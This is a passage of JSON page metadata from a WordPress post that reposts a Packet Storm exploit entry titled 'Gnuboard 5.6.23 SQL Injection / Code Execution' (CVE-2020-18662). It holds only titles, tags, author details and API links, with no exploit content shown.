execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212865&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-18662&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | #...","og_url":"https:\/\/zero.redgem.net\/?p=31413","og_site_name":"zero redgem","article_published_time":"2025-12-16T13:38:14+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31413#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31413"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution_PACKETSTORM:212865","datePublished":"2025-12-16T13:38:14+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31413"},"wordCount":1494,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31413#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31413","url":"https:\/\/zero.redgem.net\/?p=31413","name":"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution_PACKETSTORM:212865 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-16T13:38:14+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31413#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31413"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31413#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution_PACKETSTORM:212865"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31413","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31413"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31413\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31413"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}